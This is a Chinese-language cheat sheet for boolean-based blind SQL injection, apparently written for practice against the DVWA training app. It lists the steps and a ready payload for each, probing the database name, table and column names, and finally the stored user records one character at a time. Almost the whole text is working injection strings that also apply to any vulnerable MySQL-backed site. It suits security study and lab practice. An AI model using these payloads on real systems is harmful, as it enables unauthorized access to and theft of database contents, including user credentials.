过程
1.判断是否存在注入,注入字符型还是数字型
2.猜解当前数据库名 数据库长度→库名
3.数据库中的表名 几个表→长度→名称
4.表中的字段名 字段个数→长度→名称
5.数据
- 判断
1’ and ‘1’=‘1
1’ and ‘1’='2
2.库名
1’ and length(database())>3#
1’ and length(database())=5 #
1’ and mid(database(),1,1)=‘d’ # 判断单个字符
1’ and substr(database(),1,1)=‘d’ # 判断单个字符
1’ and ord(substr((select database()),1,1))=98 # 使用ascii码判断单个字符
1’ and ascii(substr((select database()),1,1))=98 # 使用ascii判断单个字符
1’ and left(database(),4)=‘dvwa’ # 判断一个字符串,即多个字符
3.表名
1’ and 1=((select count() from information_schema.tables where table_schema=‘dvwa’) < 3) #
1’ and 1=((select count() from information_schema.tables where table_schema=‘dvwa’)=2)#
1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))=6 # limit 0,1 表示取从0开始的前1个,即第1个
1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 1,1))=3# 第2个表名的长度
1’ and mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1,1)=‘u’ # dvwa数据库中第1个表的第1个字符是否为u
1’ and mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1,1)=‘u’ # dvwa数据库中第2个表的第1个字符是否为u
1’ and mid((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),2,1)=‘s’ # dvwa数据库中第2个表的第2个字符是否为s
1’ and left((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),5)=‘users’ # dvwa数据库中第2个表名是否为users
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1,1))=101 # dvwa数据库中第1个表中第1字符的ascii码是否为101
4.列名
列数
1’ and 1=((select count() from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’)=6) # 猜测dvwa数据中users表中是否有6个字段
1’ and 1=((select count() from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’)<7) #
猜解列长度
1’ and length((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 0,1))>2 # dvwa数据库中users表中第一个字段长度是否大于2
1’ and length((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 3,1))=4 # dvwa数据库中users表中第四个字段名长度是否为4
猜解列名
1’ and mid((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 0,1),1,1)=‘u’ # dvwa数据库中users表中第1个字段的第1个字符是否为u
1’ and mid((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 0,1),2,1)=‘u’ # dvwa数据库中users表中第1个字段的第2个字符是否为u
1’ and mid((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 1,1),1,1)=‘u’ # dvwa数据库中users表中第2个字段的第1个字符是否为u
5.数据
数据长度
1’ and length((select user from dvwa.users limit 0,1))=5 # dvwa数据库中users表中user字段中第1数据的长度是否为5
1’ and length((select user from dvwa.users limit 1,1))=5 # dvwa数据库中users表中user字段中第2数据的长度是否为5
猜数据
1’ and mid((select user from dvwa.users limit 0,1),1,1)=‘a’ # dvwa数据库users表中user字段中第1个数据中的第1个字符是否为a
1’ and mid((select user from dvwa.users limit 0,1),2,1)=‘d’ # dvwa数据库users表中user字段中第1个数据中的第2个字符是否为d